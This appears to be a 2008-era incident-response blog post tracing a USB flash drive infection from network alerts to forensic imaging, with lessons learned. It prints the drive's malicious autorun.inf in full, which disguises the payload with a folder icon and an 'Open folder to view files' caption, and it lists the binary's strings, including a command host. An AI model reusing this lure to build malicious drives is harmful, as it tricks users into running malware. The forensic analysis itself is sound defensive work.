Marc Weber Tobias used the phrase "The key does not unlock the lock, it actuates the mechanism which unlocks the lock" in his medeco presentation at techno security. I'm going to stretch this out to subversion of any system which is what I think he was actually saying. In other words, don't think in a linear fashion when attempting to solve a problem, or "think outside the box".
Basically what you think will compromise a system isn't what actually compromises the system. When attackers attempt to break in to systems, they have a number of options. They can use brute force, the browser, email, exploit etc. Many of these methods are direct, but attackers understand that the front door is not the only way in to a system. There are more ways in than one. Once in a great while you come across a particularly interesting method of subversion or attack.
Yesterday was one of those days.
Something landed on my desk that I'd not actually seen in the wild. I'll start at the beginning so this all makes some sense.
At about 10:40am or so I was alerted to an anomaly. Time for a phone call..
ME: "Hi there, there's a possible compromise in your area of operation. Could you check out IP address x.x.x.x? It's connecting to the following IP address y.y.y.y"
SA: "Sure I'll track it down and we'll take a look at it."
I go off and worry about other bits and bytes and check back in a little bit. No change but then the phone rings.
SA: "We've got the system offline, and we're going to rebuild it. The user just returned from Botswana and it was a flash drive causing the infection. They were logging in as administrator. Looks like they won't be doing that any more."
ME: "Great! Go ahead and rebuild the system and I'll close out the case."
About an hour passes and I'm off again looking at more bits and bytes and another alert fires. Hmmm...same destination host, same destination port, different source IP. I call up the same SA...
ME: "Hi, looks like you've got more problems. A new IP is connecting to y.y.y.y"
SA: "Really? What's the IP?"
ME: "z.z.z.z"
SA: "Oh crap. I told him not to plug that system in. The tech took the system back to his bench to rebuild the system, he must have plugged it in."
ME: "Ah, ok. Give me a call once you've confirmed that's the case."
SA: "Will do."
The SA calls back and confirms the situation. The system then disappears.
About 45 minutes later another alert fires. Same SA, different IP address. By this point I'm getting frustrated...Phone call time.
ME: "Looks like yet another IP, showing the same signs of compromise."
SA: "What's the IP?"
ME: "q.q.q.q"
SA: "Ugh that's the tech's system. Hang on."
SA talking in the background...
SA: "He plugged the flash drive in to his virtual machine, so that's what you were seeing."
Now I'm curious.
ME: "Hey can you send me that USB key?"
SA: "Sure I can even drop it off on my way home."
ME: "Great."
To summarize, A user turned on his computer, plugged in a flash drive and his computer connected out a remote host suspiciously. System was contained and taken back to a tech shop for rebuilding. Tech plugged the system in, and connected it to the network. Another alert. Tech took the flash drive and plugged it in to his system where he had a virtual machine set up. Once the flash drive was connected, his system started connecting to the remote host.
Here's a look at the traffic:
The flash drive showed up as promised by the end of business. Always eager to explore I plugged the device in to my booted helix instance. After copying it with dcfldd, I did what any reasonable person would do...I mounted it!
root(sda1)]#
mmls usb.ddOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
00: ----- 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000001 0000000031 0000000031 Unallocated
02: 00:00 0000000032 0000499711 0000499680 DOS FAT16 (0x06)
03: ----- 0000499712 0000503807 0000004096 Unallocated
root(sda1)]#
mkdir /tmp/caseroot(sda1)]#
mount -t vfat -o offset=16384,ro,noexec,noatime,nosuid,nodev usb.dd /tmp/caseAfter running fls and mactime against the image I find the following which just looks odd:
Mon Aug 25 2008 00:00:00 4096 .a. d/d--x--x--x 0 0 508 /RECYCLER
4096 .a. d/d--x--x--x 0 0 39049 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013
Mon Aug 25 2008 11:44:52 4096 ..c d/d--x--x--x 0 0 508 /RECYCLER
62 ..c -/-r-xr-xr-x 0 0 39174 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013/Desktop.ini
4096 ..c d/d--x--x--x 0 0 39049 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013
Mon Aug 25 2008 11:44:54 4096 m.. d/d--x--x--x 0 0 39049 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013
4096 m.. d/d--x--x--x 0 0 508 /RECYCLER
278 ..c -/---x--x--x 0 0 509 /autorun.inf
79360 ..c -/---x--x--x 0 0 39175 /RECYCLER/S-1-5-21-1482476501-1644491937-682003330-1013/autorun.exe
Wait a sec...populating a directory called RECYCLER, with an inf and an executable file? Time to check out those files!
root(case)]#cat Autorun.inf:
[autorun]
open=RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013\autorun.exe
icon=%SystemRoot%\system32\SHELL32.dll,4
action=Open folder to view files
shell\open=Open
shell\open\command=RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013\autorun.exe
shell\open\default=1l
Ok, so we've got the usb key using the autorun function. What's this you say!? USB can't autorun, unless it's a U3 drive. Correct you are..sort of. Look again at the autorun.inf contents.
the open line is obvious. It will execute the file listed.
icon=%SystemRoot%\system32\SHELL32.DLL,4 Now that's interesting. Just what is the fourth icon in SHELL32.DLL? It's a closed folder. Most people wouldn't even notice when they plug in and windows asks what you want to do with the device, that the top icon listed in the window is a closed folder.
If you don't know what I'm talking about here's a visual:
Now imagine the highlighted icon is a folder that has a caption of "open folder to view files".
What about autorun.exe? First things first, I run strings to check it out.
root(case)]#
strings autorun.exeiams.wearabz.netsvchost.exe
explorer.exef424
asd..65637fj
"" "
Mozilla
Success.
Failed.
Tester
Start flooding.Flooding done.
fstop
SeDebugPrivilege
sendto
WSASocketA
htonl
setsockopt
CloseHandle
GetCurrentProcess
lstrlenA
ExitProcess
lstrcmpiA
GetProcAddress
LoadLibraryA
KERNEL32.dll
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
ADVAPI32.dll
Ok, there's some interesting strings listed. Functions aside there's hints at a possible hostname to look at, flooding capability, svchost.exe and explorer.exe are both mentioned.
I quickly submit the binary to
cwsandboxResults are
here and
virustotal and if you feel so inclined, I've uploaded it to offensivecomputing (md5: 3240c08878c7491b85b79c97db5c9204). The best description of this malware that I've seen is
hereSome lessons learned here:
1) Harlan is right. "Many times, an organization's initial response exposes them to greater risk than the incident itself, simply by making it impossible to answer the necessary questions." In this case we knew the system had nothing of value on it, other than personal files. The tech in this case, after containment, turned the system back on in the shop, plugged it in to the network, and then he took the usb key and plugged it in to another system that wasn't properly configured. Any malware investigation virtual machine should be set to "host only".
2) What you fear the greatest is the least likely to kill you. We concern ourselves with the big targets most times, but it's rarely those systems that get compromised, at least directly. Going after soft targets is the best way to get at the hard targets.
3) You can place as many detection systems, deploy as many security products as you want, do all the staff training you can, but all it takes is a person not paying attention to compromise the system/network.
